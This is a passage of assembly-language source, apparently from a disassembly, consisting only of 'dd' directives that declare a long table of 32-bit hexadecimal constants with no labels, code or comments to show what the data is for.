		dd 0D7585AB6h, 9D4F3B75h, 748B9EEDh, 763D226Fh,	0C90ED528h
		dd 0F70D8F58h, 0DE83C8FEh, 2EDC77F0h, 0F30B26A4h, 0A6AD24FFh
		dd 0DF65B7D9h, 293E1D59h, 4811A81Ah, 0CCF0EBB2h, 29A3883Fh
		dd 0EF02B1BBh, 15DCA35Bh, 0A6C4E222h, 8097C580h, 3137F112h
		dd 0DABDBDD4h, 379D60A8h, 365D7175h, 89FECF52h,	0BD56BEEEh
		dd 1F8F555Ah, 99E884E0h, 1E355062h, 0DB70CC4Fh,	2F430775h
		dd 5FCEAE46h, 0A626E75Ah, 15D175AEh, 0C0B55544h, 9866B5B4h
		dd 35C9C575h, 0F37DFDA7h, 3A5A82BBh, 0DB4E8C7Dh, 56BD3700h
		dd 4677325Eh, 0D7BC6016h, 24EEA15Eh, 0A929482h,	20B10525h
		dd 98B8FA51h, 639DE604h, 463E2404h, 64B0B96Bh, 2DC501DBh
		dd 941DC765h, 0A80F28Ch, 0E76A91E4h, 1EB8A7C2h,	68FDBB38h
		dd 72F1ECCh, 0A4B30368h, 2031C382h, 73ABF999h, 8AE7FE75h
		dd 0CF16A9B5h, 4C46654Eh, 0D3C1B474h, 0C016F130h, 4C877D27h
		dd 6ED22894h, 0FA7731B8h, 1C959D2Fh, 0AB07025h,	0F98254C7h
		dd 8F62DCE5h, 4FF1E5B3h
		dd 0E82A1BB9h, 503D91A8h, 13640AB5h, 44CF404Ch,	8ED215A9h
		dd 81910C03h, 7D5B8830h, 0D421C6DAh, 4D3E210Dh,	0CB31575Fh
		dd 7971FAD4h, 0FF3845Fh, 0CF860FEBh, 83FA49D9h,	1C399628h
		dd 493012B0h, 0F9B2FD9Ah, 5FB43C3Ch, 81843BBEh,	3BD76240h
		dd 0F6CB4155h, 0A5EDBBC9h, 0D64C21C8h, 6E5A175h, 88F2E9E5h
		dd 6E17080Ah, 7E9B31B5h, 6A739FF2h, 0F8368816h,	668CC8FBh
		dd 0AC19D456h, 9943BB36h, 0BD56CCF6h, 0CC5224D6h, 0DA2BE71Bh
		dd 0A65951AEh, 7F982CEEh, 0CD7BD727h, 0A164C5AAh, 327F37B2h
		dd 0DF6EE37Eh, 0FF19ABBAh, 0F112CD1Ch, 18D45801h, 0B27DDE3Bh
		dd 8C2159F1h, 636E60D8h, 0C2B0215Ah, 0B93F793Fh, 0BE157C61h
		dd 343CCF04h, 506FE74Bh, 0B5C1D4F1h, 0F89C82DFh, 0D3479D52h
		dd 0FA8B4BF5h, 0BFC11F2Ah, 9CC42B28h, 0F5C7B2B1h, 97A124A9h
		dd 0D95CCEE5h, 0ED5EF66h, 0FD92CDB5h, 36B0D792h, 2313FBE0h
		dd 76736C3Ch, 0E4890B27h, 0B8ACA8h, 0F080DF33h,	0E233D785h
		dd 3BA254B6h, 8937E0E9h, 0A63C11A4h, 38C15097h,	0E4F0F291h
		dd 0E1452113h, 0D783A53Bh, 0EB10327Bh, 80184003h, 0D3616486h
		dd 12BF6729h, 16D287E4h, 0A45E108h, 73C90775h, 903874BEh
		dd 68B234Bh, 0D45A24E6h, 0FC9A5E1Bh, 9DDFDD0Dh,	72A9A4EBh
		dd 96274DACh, 0F3B92A42h, 18196C6Ah, 0B42B8B41h, 8422E6FDh
		dd 0DDD6C40Dh, 854F4365h, 1AEF1C26h, 887F7BFFh,	25F51CCBh
		dd 0FF6E9BCAh, 661923A1h, 25910F6Dh, 83A9CABBh,	0B55B3D79h
		dd 83CDD20Ah, 63E7AA8Bh, 7A580819h, 32414973h, 0B161C26Fh
		dd 82963A51h, 5A2F9CCh,	6DC3DD6Ah, 0B30D1F2h, 259A28CBh
		dd 343DA360h, 0E30C4326h, 0E138EA0Bh, 7B61092Eh, 7F49DB8Ch
		dd 3A62C2CDh, 884D1391h, 0FBBDB2ACh, 0D724055Bh, 0BE260FE8h
		dd 17628E6Ah, 74A42D6Bh, 0E9A26009h, 0F32422D9h, 7634EFC6h
		dd 0AB09E586h, 31624A4Ch, 78B621E7h, 27178F92h,	0AFAB4848h
		dd 0BA7D572Fh, 0A36106EBh, 2FD384E1h, 16286A85h, 0DD8D122Bh
		dd 0B72EF63Bh, 0E49C2A93h, 83ED17BAh, 0D4E4A62Ch, 4B46F1A8h
		dd 7A8B08AAh, 69235F1Fh, 0C679FC45h, 75558079h,	0CAEF74C6h
		dd 6C0505D6h, 0AFADF7A0h, 0CE81E40Fh, 3C7A4E1Eh, 46AAC12h
		dd 1E92FC65h, 700169E0h, 0EDB1B9D2h, 96369511h,	2E4349BFh
		dd 0FF21A522h, 0AAAC4635h, 0AE433AB8h, 0DEFBE3E8h, 0AD4B1A17h
		dd 0FA6274E5h, 40ACFF18h, 0B026E33Eh, 32FDEEF0h, 0DC80C674h
		dd 0B1258203h, 0EDF9D083h, 0BBF9D7F6h, 0AA03BA0Fh, 0AABB82D6h
		dd 0DF86E941h, 6D9B2F0Fh, 9370178Bh, 58C47D55h,	0AB6C37AAh
		dd 96F1D459h, 0FDD47644h, 2FBE3EE5h, 7E6D1E5Fh,	79350AFEh
		dd 7B55AA18h, 0D757A0Dh, 0BA06A801h, 5E96DCFBh,	24EBF6BAh
		dd 6BEE33C0h, 66F2DD2Dh, 48E8ED15h, 0EA301A1Dh,	700BB85Ch
		dd 0C6A0F61h, 0C788C3C0h, 41344823h, 964596DBh,	4FE15939h
		dd 0A266B4ABh, 0FE8AAAD8h, 0FD83254Eh, 0E5738620h, 27504F94h
		dd 56AE2D42h, 58CD446h,	0ED6560E2h, 2F36CD3h, 0A763E39Eh
		dd 0AF151298h, 5753AE3Fh, 14107574h, 39C7F2EEh,	3BB3A631h
		dd 7DC60A3Ah, 2137D5h, 0C0B9FDEDh, 5AF6C505h, 4691A839h
		dd 2DABB1BDh, 45F2C7A1h, 251CE7CCh, 0B3B824EAh,	0F618A210h
		dd 7E4FBDF6h, 1F3D257Bh, 3207011Ah, 7564F35Fh, 0A9387B87h
		dd 625CE994h, 0F49BE74Ah, 890D3E3h, 0C1475A62h,	0E3E55145h
		dd 0B5F1361Dh, 5A361CCAh, 0AF2D9C42h, 0BA7FC67Bh, 0D6D79168h
		dd 55CDF39Ah, 32AE8A9Ah, 0C9D6F659h, 17D50292h,	0DC41A7D5h
		dd 139C3EBFh, 0C7706DAh, 6F6593Fh, 6205A5E9h, 0F8CD798Dh
		dd 74BEC73Ch, 6DDFDFDh,	0C18518FCh, 0BE09C5BEh,	5501998Bh
		dd 162E42C6h, 1FE561BEh, 898E1B61h, 5931D27Ch, 0BC0B7E6Eh
		dd 6609F1E2h, 3429E56Ch, 0A5F2B6D0h, 9E375152h,	0B1D4DA6Eh
		dd 3EC26EEFh, 12A7B364h, 5A322F9Dh, 0CCB4EF25h,	98247A5Fh
		dd 0A2F698CAh, 9E2297E3h, 79F4F331h, 2B088BC2h,	0CC0A081h
		dd 5A137831h, 6A01E14Dh, 0EA613FEEh, 0DB1D0E6Bh, 94DADB88h
		dd 25E2BFFDh, 5663C923h, 0DCBAC2D8h, 18FA5AF2h,	0F7A59005h
		dd 79184CA2h, 6B3CD7F8h, 8E72DC0Ah, 518C825Ah, 9E1FA0FCh
		dd 1FFD5F16h, 0E444E845h, 0A8DA853Bh, 0B1EE58AEh, 0F272227Fh
		dd 87AF4FF3h, 0D26D5B1h, 7890B039h, 0B2A82524h,	0D4D427B2h
		dd 0A615684Eh, 8F3EF119h, 0F2DE7666h, 0A8A8B4C9h, 4CA22184h
		dd 0B509C897h, 76EE84DEh, 832847D0h, 595C7218h,	11D10F50h
		dd 33A21229h, 0B6CADAFEh, 46716B44h, 7C62CC6Bh,	4D51F07h
		dd 72E16140h, 2BC5DF8Fh, 561AB605h, 3B4192A4h, 69151DA5h
		dd 1E9EE8E6h, 425A856Fh, 604B20E3h, 5E8089FBh, 23DFA75Ch
		dd 360F8194h, 0BF587379h, 0E578B344h, 679CF62Fh, 2BF4A52h
		dd 4D0C8D61h, 0BF5A3AA1h, 4D76AA6Eh, 0D6243349h, 185CA999h
		dd 6036736Fh, 1E45E468h, 0E2CC7DB5h, 1CFAD145h,	0DC55C56Fh
		dd 0F2D915DDh, 0BE48DC95h, 8951F7Dh, 0F46DE0C0h, 8B91135Bh
		dd 0A4534418h, 42A95C57h, 0EA597809h, 108BB73Bh, 0CAC9A5A8h
		dd 0E13246D9h, 0B32EC0ACh, 62FC19BCh, 0EAFB94CDh, 219219A5h
		dd 7B13C3E7h, 0C4316029h, 7226DF5Fh, 7DC8606h, 0DA227BCFh
		dd 5B3B138Ch, 0BE371543h, 0EE2EBBC3h, 332686ECh, 0D0156BC7h
		dd 2F9884DBh, 0A520B821h, 3B641062h, 3BC03F10h,	0CE864AB0h
		dd 6C28B8E8h, 0CD4BDFB7h, 356C2F5h, 494FEB57h, 0B2369E56h
		dd 48138FBCh, 0F77F0013h, 0F197B82Ah, 8D1C1962h, 8E5587CDh
		dd 0FE597F66h, 0D927BF65h, 0A394CA70h, 0DB15F51Eh, 4F469CD3h
		dd 0CDCA3C15h, 1061B3B4h, 0F4C0E5D7h, 5D5E779Ah, 51E97B65h
		dd 9310E994h, 0DBF80951h, 4642FCEEh, 605E8769h,	0C18C11Fh
		dd 0A58D7986h, 974D6468h, 1BC8C4A6h, 87B3198h, 7CB7A436h
		dd 0A013D3A3h, 3DFED4F3h, 3B03A273h, 0E3EA2BF6h, 9812637h
		dd 1B577F86h, 4A2D8D6h,	1EAEDEE7h, 0E8700767h, 5DFFE2A7h
		dd 34C77F13h, 39FD7860h, 3838ACD6h, 0EA55C65Fh,	6D31666Dh
		dd 0EE613DCCh, 492959A6h, 36A19ADFh, 0FA266233h, 0D4F4E933h
		dd 0C5889FF0h, 3A8B1DCh, 8424CC2Ah, 7F47ECE5h, 65BD358Ah
		dd 1BA193F5h, 1B941391h, 9CF8D9FAh, 47F22943h, 81EB9C2h
		dd 0B332D906h, 74AF97CFh, 0D6D7E9AFh, 50B9C439h, 5851F676h
		dd 94835228h, 0B28F2022h, 821AB4C8h, 126059CBh,	7BBB05C7h
		dd 747E5E40h, 9F451699h, 82E6EA82h, 425DB775h, 21F9F85Dh
		dd 0D413DD17h, 0AAF43250h, 681C145h, 2A6C8290h,	0F2EA32A0h
		dd 7F5E0A5Bh, 94786DD2h, 0FE3B1FA5h, 0C956A9DEh, 0B672267Ah
		dd 6154A086h, 3B32F659h, 23AD3857h, 0F456B4FCh,	0FD5CF362h
		dd 85B39198h, 8F5192C5h, 0D53F8258h, 48CCCACEh,	7DF081EAh
		dd 0F7846298h, 0F419A35Ah, 0DBF9D649h, 0B79B662Ah, 0D984FF53h
		dd 95E75309h, 0F32E2AEAh, 65680BF9h, 0B1BA39C1h, 69F3C5A2h
		dd 79E24E27h, 0DF77ECE0h, 0E9E0D0D5h, 68933B92h, 6A298E19h
		dd 0AC3F8E9h, 0B5E884EEh, 0B302C1EDh, 73820D72h, 25E82C16h
		dd 33C8DC24h, 45F83A38h, 4FF9722Fh, 0AC722A1Ch,	0EBE3FD49h
		dd 13CE69B0h, 3345AFDDh, 39C3207Fh, 3D4D27F6h, 0BA409E56h
		dd 23A4E352h, 68DE68CBh, 34E35AC2h, 9F53A694h, 2B6BE709h
		dd 73EE6446h, 0E26A5DD8h, 0EB57FF4Fh, 2D170107h, 6351DBBBh
		dd 7A774BDBh, 0E341311Bh, 1E349001h, 24EA2D0Bh,	2C6CCB87h
		dd 0E4A4CEB7h, 1F74DE9Ah
		dd 0CE1203B2h, 5408DB02h, 0DCEDCBA5h, 0A8473D89h, 6D489729h
		dd 305D233Fh, 0DCC5C745h, 0CAD84D57h, 24670710h, 31F59C9Fh
		dd 0F2FE3B4Dh, 0CF123202h, 3A4442Fh, 18FD4DCBh,	87628B79h
		dd 0B4069F60h, 0BB2024A7h, 85BDBFCBh, 0B224F733h, 9A52DF92h
		dd 69E32EE2h, 0CD515850h, 6E8D10Eh, 0FA977AA3h,	9122B4DBh
		dd 0B9EFFAE1h, 3BD59B18h, 0DE4DD810h, 0E8A2BED9h, 0DEC03886h
		dd 7E2A800Eh, 2B4ECB9Ah, 0C043D453h, 457C0B68h,	0F066D567h
		dd 7C9C3A5Fh, 9084A1D7h, 5F43242Dh, 4D724891h, 6172CDE3h
		dd 0AB402D60h, 0A8B1209Dh, 0D67610C5h, 66D63C43h, 2E5B655h
		dd 805230E3h, 0B8E45098h, 4B55F9DCh, 35762F2Ch,	5C89EFADh
		dd 104FA48Bh, 8A8CD816h, 429028DDh, 8F84AA1Fh, 45867C6h
		dd 0D11B81ABh, 661EDC8Bh, 3FB02FAAh, 0A5DB093Fh, 0DA86A421h
		dd 8DEB28A8h, 0CE90D720h, 0D9A7ED4Eh, 0BC59F8FDh, 55BF619h
		dd 10198A6Eh, 73E9A0D1h, 67395D3Bh, 983AA7BAh, 0A983B22h
		dd 46641953h, 69A74858h, 0F070449Dh, 9F391174h,	5349A721h
		dd 68472926h, 0A4A74216h, 64A6D80Ch, 0BD799432h, 9632DDF8h
		dd 0C0B6FEA6h, 741F940Bh, 8915CA34h, 79194D6Dh,	0C7ABB1A1h
		dd 0E8A4A766h, 128CEC2Bh, 0AC8DEF28h, 0FF2CB3D6h, 0E61059B1h
		dd 579EB7DDh, 39F236D0h, 5AA0CB61h, 6730DC84h, 869E724Bh
		dd 710EE385h, 857AA1F1h, 0E03CEF98h, 0B317A579h, 46301563h
		dd 1CF5F9C8h, 0D6502B1Ah, 9A968BB7h, 4676F74Ch,	7A77FE76h
		dd 0BD2FD6ECh, 0FFECA8F4h, 7CDBA8C3h, 2B3F2095h, 0F7A8107Ch
		dd 6994EEF3h, 0F2DFEBE0h, 0DCA38EDDh, 52E005DCh, 19AEF586h
		dd 9D4EB43Dh, 0B500612h, 31053DC0h, 0BD8C3E26h,	0D1B952A7h
		dd 5906EF79h, 24830004h, 0E0E2DEEEh, 48E55CE7h,	18B2127h
		dd 0CAFED1F6h, 621FAA9h, 0A90DA5F6h, 643AE313h,	0EE828C5Ch
		dd 872F7538h, 487EF4F7h, 0EF3F452Eh, 0BADEF324h, 534F5549h
		dd 0BA32799Eh, 9A139549h, 51C73E53h, 0FD3636A9h, 42B94A57h
		dd 4454BA7Dh, 9C6D1DACh, 0E0E9D888h, 4636E300h,	6CAE021Fh
		dd 772E9BA5h, 0C248DAB9h, 44F6E543h, 530AA093h,	0B8A91870h
		dd 0DE9F32DFh, 8B9F9029h, 0F70BABDEh, 34DD4B9h,	44DA8E18h
		dd 0CF67970Dh, 0F25369F3h, 0E51D385Ch, 0D97C882Ah, 0A82AA4F0h
		dd 7A94CC9Fh, 0B8DC6768h, 91E88A44h, 961E8672h,	0E261C176h
		dd 9FEB7F04h, 268462C3h, 6E06EA1Dh, 6CD8383Ch, 0C43384F1h
		dd 725C218Fh, 5E54A065h, 0B35FCD80h, 290A0335h,	388B729Bh
		dd 0D87F64A1h, 0BA5AE03Ch, 65BF5B1Eh, 775E0377h, 8E5FDC94h
		dd 21BF4353h, 0F5E55AC7h, 5B23CE05h, 0DD217109h, 3AB0DFF8h
		dd 0C535BCB0h, 704FBED5h, 0EAB4170Eh, 1182EDC2h, 373DB23Fh
		dd 19C6BE79h, 7C7576FDh, 0F81FE004h, 5D9C0009h,	0C06B629Fh
		dd 2D40ABE4h, 12623F99h, 0F6A80EE9h, 0D99645C5h, 0DD1E4D43h
		dd 0A2D08F52h, 61E9546Dh, 43AAF0B1h, 27227815h,	0DD5533D6h
		dd 1488A342h, 1A565AB3h, 8B97DE78h, 20258D84h, 0DC1BB965h
		dd 0D275F8EFh, 0BF772FEFh, 7CC5888Fh, 6B8864B5h, 0F265D538h
		dd 6C77CD22h, 0BC0CE262h, 436E7072h, 8B8CCFA4h,	3EEA7DBh
		dd 0AD8AA49Dh, 29E36BA5h, 11D94A16h, 0A87AD896h, 338E4930h
		dd 360525D6h, 44A48937h, 0BF5BBA55h, 0A90C7A08h, 0AEE42D2Ch
		dd 70F1B9D0h, 29EEA66Dh, 0C0BF0528h, 0ED34B4F2h, 0B17B5B22h
		dd 0CBE01FDAh, 0D110A501h, 7425006h, 447784C4h,	0C99F8530h
		dd 78472A11h, 88D99681h, 8B3A9506h, 0F39F2DB7h,	98995BCh
		dd 0F818E068h, 7B0E1384h, 3E937060h, 39E460Ch, 0CDA20383h
		dd 0A28C53A4h, 744B0ECFh, 0CE94D52Dh, 0ED5A213Bh, 387E225Eh
		dd 0FD37723Bh, 476C7E7Dh, 0BC15FB27h, 22D9E91Ah, 93696977h
		dd 32CD67FAh, 867C8709h, 0A3D6063Bh, 0C4415AC1h, 0CBB5F11Ah
		dd 5315A05Fh, 1CCFF905h, 2E736A38h, 673A3FF2h, 1B58A18Eh
		dd 10DE8982h, 0ED5279DEh, 66DE0DCEh, 89983D01h,	93E88EFEh
		dd 0BDED3171h, 0C4095C31h, 6CB3EB92h, 20A4B4F3h, 0ABFA5601h
		dd 2BFF1378h, 83AB7A86h, 188EE517h, 5D8FC2C3h, 0FD15E8C8h
		dd 209FDE67h, 26AEC248h, 33FCE1A6h, 3B8E2D71h, 66E3A8Fh
		dd 0F01C1DD6h, 0FAF7D47Bh, 1D829884h, 0C426B7CBh, 3E05FCC1h
		dd 4D83A7Ah, 739A35FDh,	0AE38FAA2h, 70F2DD2h, 0B080C80Dh
		dd 0AB70B068h, 0D3D9CFBDh, 0E9223052h, 0E5063FDCh, 21E6D556h
		dd 0C32C8943h, 1AA6FA66h, 2EC4A399h, 7CFA8363h,	8BBFF332h
		dd 74EDC296h, 7237EA63h, 0FB826DAEh, 106F5F1Eh,	5FC08445h
		dd 195FAC2Dh, 0BED5A681h, 534414F0h, 2EAD3B36h,	5D0DBB0h
		dd 0F05B5FD2h, 9ABD5CF3h, 7037B9DBh, 2E7D7F1Bh,	8BAA62D1h
		dd 0E1B611D0h, 8FA9B972h, 502CEA07h, 0F67253A4h, 0B6E671F3h
		dd 9080EC3Ah, 7E6ECCD0h, 8B4A1BCAh, 0E5BBD1CFh,	0A7F7ABCFh
		dd 92B781F1h, 0D5495FFAh, 29BFE024h, 13940E0h, 58490EAh
		dd 0A228E2B5h, 0F1053FFCh, 11DE1700h, 36B53080h, 0DCE2FFA6h
		dd 0DB8FC0B3h, 0AFB8F0D5h, 0DB4C3890h, 62DAA570h, 0CB091AE1h
		dd 86C8B5D5h, 0E053CBA9h, 3F436D35h, 0C6F91AE5h, 65453830h
		dd 66092F5Ch, 0BB09FDCFh, 0EEF37E9Dh, 0C0F28ACDh, 0D8B3227Eh
		dd 539E404Dh, 58A21138h, 0BD86B420h, 8668393Eh,	63C4A276h
		dd 0D8923FF8h, 1AA421A2h, 0A5AE781Fh, 0DC1CAAAFh, 0CF0EC053h
		dd 3233AD25h, 0CB8F6B4Dh, 9860C019h, 514A2F48h,	8E45950Eh
		dd 0FCF5CBB0h, 0CC6B6185h, 2B011AF6h, 0C0B2CEB4h, 87800801h
		dd 797E0DB6h, 4B03CD67h, 4A20BFCBh, 0ECCE3170h,	7F072251h
		dd 1B88585Ch, 0E6DA6AA7h, 591D89ACh, 84E64ABAh,	0B03A5D17h
		dd 0BFE566D6h, 0EDEF727Ch, 0AC50D49Ch, 20C742Dh, 0B5AFEF9Fh
		dd 0BBD2E82Ah, 0B3974AD2h, 806BE9EEh, 8B17E95Ch, 3D9D15Eh
		dd 7071BFDBh, 8A29064h,	0A46A0AE9h, 11F1CF6Bh, 0E26A320Eh
		dd 8DDD01C8h, 7EAE7665h, 0C925B556h, 0EFB6030Fh, 46F8957Dh
		dd 59D9FB7Dh, 99AD765Eh, 60D4DD64h, 2F5492D9h, 2EF917C6h
		dd 8B4DF47h, 46FFCECCh,	0D2ADE840h, 0D8D607A6h,	2BAE9764h
		dd 5B44A42Ah, 8D039B88h, 5B5CEE75h, 5C4835CCh, 56AC35E3h
		dd 9E7805F2h, 35EAFC3Dh, 0BC64BBB0h, 0C5573853h, 0ABB06381h
		dd 0FD0E8B6Ch, 82670107h, 96D372Eh, 0C9574FD6h,	873F1E07h
		dd 64D0CAABh, 0B8521C09h, 0A2B6A9CAh, 0F5E4EDDCh, 0A207C53Dh
		dd 0BA6B5DF0h, 0D1051C57h, 0D249B656h, 56CCD273h, 0FBA3D43Bh
		dd 0FAFBB76Dh, 72EF89DBh, 0B60EF297h, 0E86FA6CEh, 177F55A1h
		dd 8B756440h, 0A1BC6C1Dh, 68A3E85Ah, 40248CC4h,	0C80A9E99h
		dd 841C0CD5h, 5931FADFh, 0FB22556Eh, 62CE0900h,	3866B74Ch
		dd 139984D6h, 0AD512AB6h, 4B0C790Ch, 0F0438C41h, 16B18850h
		dd 0A84A7694h, 0A7FB53CBh, 0F03B21C4h, 489A518Dh, 0DA485052h
		dd 69C86725h, 47D8A987h, 6C30712Dh, 6A9334BBh, 0FD8C3C8Bh
		dd 0E3681874h, 80C66AEEh, 0A6FA5E9Dh, 8FEB9ED2h, 0C513935Bh
		dd 0FBBB3B09h, 6FC54DA0h, 5BE85463h, 9C521A02h,	0B936989Fh
		dd 726735CAh, 0C2317342h, 3BA546E2h, 0ABE1A5A4h, 0DE5F2C32h
		dd 0F98AB0E7h, 189C435h, 8BAA1FC0h, 0D43FE52Bh,	8AD28695h
		dd 8E4261D0h, 0D80A50BDh, 7964360Ah, 0A3BB1059h, 452EDEAh
		dd 0D84536D6h, 0CB3D0349h, 0E4B9EFE5h, 31AC920Ch, 4BA429A6h
		dd 0F44A23F3h, 8A9E85B7h, 70440B2Bh, 0AE3CDE71h, 0B4917DAAh
		dd 0C1995AE7h, 63881058h
		dd 15ACE39h, 5A187586h,	0D92E1388h, 0B7A80DC1h,	89B022E9h
		dd 59CBB12Fh, 1B9F849Dh, 461E416Ch, 4F5690BFh, 78A672CEh
		dd 9E1BF34h, 494BDB52h,	18CAC4D4h, 6C122B8h, 0D1076BB1h
		dd 9ECAAFAEh, 3B971A71h, 0F9267F67h, 83CC4h, 994FDDA1h
		dd 947B3FCAh, 0B23C0154h, 993DC647h, 3FDC18B5h,	0C05B9DCDh
		dd 0AC7A060Ch, 0CB526733h, 0E18BB22Bh, 0FFAF6B3Ah, 71A1D884h
		dd 4C36B882h, 638919C5h, 8802A725h, 0A2B33755h,	8924F0A2h
		dd 7E454831h, 80BA8047h, 0DA027411h, 5BB6FAADh,	0BD99EB3Ah
		dd 0D223B75Bh, 0EC204D07h, 8CED3889h, 0DC150835h, 6C6037B6h
		dd 73C04183h, 3478397Ah, 58A71535h, 6C0D4E20h, 67D292E7h
		dd 81FB3349h, 28E8423Bh, 6A6232BAh, 98175515h, 0C87CD4EFh
		dd 55353BF1h, 0ACC2D568h, 1EAEA719h, 0CA57E391h, 0FF2F2AF5h
		dd 48BA0624h, 2346460Ch, 0D94CF6C3h, 0E17FF166h, 36BCC59Bh
		dd 9EB95F7Ah, 629F67B2h, 2C3FB55Ah, 78AC1AC3h, 0A9EB167Ch
		dd 0B32E12C9h, 868ADD7Bh, 764DCFC9h, 6E0DA3E2h,	3466A4D6h
		dd 136B0A28h, 0F78BD31h, 0B3D687A2h, 3A6D456h, 190D974Dh
		dd 0F4FBCD32h, 5687040Ch, 0B572FF9Fh, 0EF2365C7h, 37B11A2Ah
		dd 75E962C8h, 9C853FC0h, 30B44F1Eh, 5C677B70h, 0EE5EBD7Fh
		dd 0CCF7721Bh, 0D3059D55h, 9B1BB3ECh, 730335B0h, 679A79F2h
		dd 0B6B93922h, 240DB955h, 8386DD20h, 0D5F64037h, 81AF76C5h
		dd 0E81D651h, 0A3353F8Dh, 1DA2C5E5h, 0DDB32EFBh, 0D06E917h
		dd 7E49FD2h, 0DF91B814h, 0BB7C9ACEh, 0B7ADF827h, 0B9DEF170h
		dd 0AE2ED121h, 0E8C78041h, 2117C6h, 6A8D5591h, 70DF1933h
		dd 0CCF56F25h, 523B844h, 47B365A2h, 2F1434DAh, 0AF39C0Bh
		dd 8A056480h, 95B7942Ch, 0E4722045h, 10D80FDAh,	0C640468Fh
		dd 6C5A81C3h, 0B5F4BB07h, 0F20196E0h, 0F5AA7189h, 611A8908h
		dd 0B103FFA0h, 0D9DB0ED7h, 6CF2EA45h, 0FE5062ABh, 926D94Ch
		dd 2BB9BB6Ah, 4C7F05FFh, 0BE9A1486h, 48781055h,	0B0D09F97h
		dd 5B6B57C3h, 0CD1C9DE5h, 1793E399h, 0D06806DBh, 65A3E1FFh
		dd 689FC6E9h, 0E37CA5F3h, 1B1F2F92h, 359C28ADh,	60ACF98Dh
		dd 8B88D0E8h, 0BCA084F4h, 0F87BFD7Dh, 8CFD7B47h, 85C32C92h
		dd 386023CFh, 0E0376EB3h, 47F8A798h, 0BE20545h,	0FF08686Fh
		dd 361FA8B0h, 36B652F5h, 97EFE15h, 9233D4B6h, 9A118554h
		dd 0B9D08DD1h, 9D6C5094h, 55A279F4h, 0ECFC73A0h, 0D076F858h
		dd 4E9E001Ch, 89E26EB4h, 0D2DD0BD1h, 3268FF2Fh,	8D41B169h
		dd 69BECF13h, 8136C304h, 92222DE1h, 0AB1CDF6Dh,	90DA4F6Dh
		dd 0B4B4E17Ah, 9F742987h, 0FD2FAE4Bh, 8D39CF4Dh, 4BF7754Fh
		dd 0B6459E8Fh, 0D102C73Ah, 0F895F2C1h, 5AB18679h, 0A167C015h
		dd 1A1DE769h, 1B6F535Eh, 603D8136h, 0B130857h, 0C10BF9F6h
		dd 7314F372h, 0D660D0ACh, 839A51B8h, 40215ACEh,	0F4F02A58h
		dd 326C9383h, 0F909698Ah, 771142D6h, 0A801C241h, 0A09E1C4Bh
		dd 272A0E33h, 64E45AB7h, 2A28AA0Eh, 0DE265DB7h,	1D04922Eh
		dd 0EE6CCE30h, 0A64B0C47h, 0B1D6992h, 0A4D40FC2h, 635EC6FFh
		dd 0E3DDC0BAh, 0F1C252ADh, 7A7702Eh, 0FBC94B12h, 4D2B5A0Dh
		dd 933D37AAh, 0C0CD797Dh, 3D153034h, 6BBF2D7Fh,	588D2C6h
		dd 8E622718h, 0A2747EA1h, 853BA432h, 0F33AEE84h, 0A8E5F956h
		dd 65265D9h, 85778CA5h,	0D0B54D25h, 0F6F8C5D7h,	0A110EE70h
		dd 1814F4E9h, 4A728F7Dh, 60CDD034h, 153B99E7h, 0C2D0A4D6h
		dd 914FA50Ah, 0D12D16A8h, 75F3ABB6h, 5F4A2B5Eh,	2032DB8Ah
		dd 396C01EEh, 3174539Dh, 0E2C9021Ch, 1D2014C4h,	0DAB71A6Eh
		dd 1085F562h, 6471C356h, 0B9FA27A7h, 24DC55B2h,	0A67DE668h
		dd 4ADD9B7Eh, 75903703h, 84EC2CEAh, 0B8124973h,	0DE8D9E45h
		dd 86135A55h, 67B449DCh, 89AEC0AAh, 0A807A7DFh,	848C6BDh
		dd 802266B8h, 0A8BB5A41h, 9FECA8h, 0F546598Eh, 4A2F8A5h
		dd 32059367h, 0FCE60F4Dh, 0EDF305E1h, 99F78224h, 1DC401CDh
		dd 7CBC9106h, 4E0A27ECh, 550EF326h, 0FE17AE7Eh,	0A461B4D6h
		dd 8CC7A146h, 6543BE1Ch, 8091FCA5h, 0A72B0FE2h,	90BA3A6Ch
		dd 91F7BDDh, 0D2B3D6BCh, 723BB37Dh, 0FA90E98Ah,	215A9E39h
		dd 0B7082F18h, 97AF5FB2h, 249A3A49h, 999B7314h,	0F2B69FAEh
		dd 330EAC98h, 666D4E7Ch, 79B44852h, 0B4BE28CDh,	2B7EBCAAh
		dd 0AE35CDAEh, 64EEC98Bh, 58BC81B8h, 0F37EF404h, 0C67A9E02h
		dd 264761A2h, 7548ABA8h, 94E2CC7Ah, 0BD22E17h, 0AAE109F8h
		dd 56B4ED43h, 0F725A582h, 7A19B9B7h, 9B5412A0h,	9B6EE2B5h
		dd 0F7267B1Ch, 8DFFE1AEh, 8F300EAFh, 578C5DBEh,	7A724558h
		dd 43BCC36Dh, 2F05A82Bh, 1A0D610h, 30C21B9Bh, 0BFA756ACh
		dd 0FF53BCD8h, 75755F93h, 46A80A51h, 0B4BFDC20h, 307007ADh
		dd 0C1AB52E7h, 11A90BD8h, 18C7D578h, 71B908DAh,	49688267h
		dd 7BC5C1E6h, 0A4870A09h, 45823FE4h, 55CEB1D6h,	7DCB6E21h
		dd 9110CFD0h, 1CFE980Dh, 3E5AB311h, 0B53CEE55h,	0AF114815h
		dd 966133ADh, 0E09AB52Dh, 0F7C353BDh, 0D3337ECDh, 64588F15h
		dd 6436A69Fh, 0CB65DF64h, 0E6035981h, 0B4E734C9h, 0F1BCBF1Bh
		dd 8379E2F4h, 38BB0A3Ch, 0DF447A8Bh, 28465A44h,	63ADE567h
		dd 6B8B922Bh, 5D11D2DFh, 9F2D2821h, 1B29BF5Fh, 3749833Dh
		dd 60C971F5h, 0BACE2F25h, 0FC7E5678h, 142991D6h, 0C6BB0DB6h
		dd 6861E9F3h, 0F2338A9Ah, 98EAAC4Dh, 7252B7E4h,	90C28084h
		dd 8C4F7h, 0DC190BF1h, 0E5A3DC82h, 8EE683Dh, 0A9AF7F44h
		dd 9B558B7Fh, 0DE2E1CADh, 0B569EBEEh, 0B1C49D87h, 0A04CBB22h
		dd 37FE698Ch, 21239D5Ah, 780754C7h, 1C8BBA7Ch, 0E8D25AC7h
		dd 1B5059EBh, 0A2488B49h, 252402D4h, 1974CC59h,	8C87F0DEh
		dd 0EB207E2Ah, 0FCF32013h, 14A824DBh, 0D84FAAA3h, 4C8CF97h
		dd 0FF0A8853h, 4EDE2456h, 3085957h, 0A9465C77h,	6495DDA6h
		dd 82C574FBh, 60068700h, 7F252931h, 0E077594h, 54A9CFB6h
		dd 0F34D4229h, 19DF2620h, 0D7398D2Dh, 4C10157Fh, 81D91417h
		dd 9C96A010h, 7569FD78h, 0B8318225h, 0C76718Ah,	7154B211h
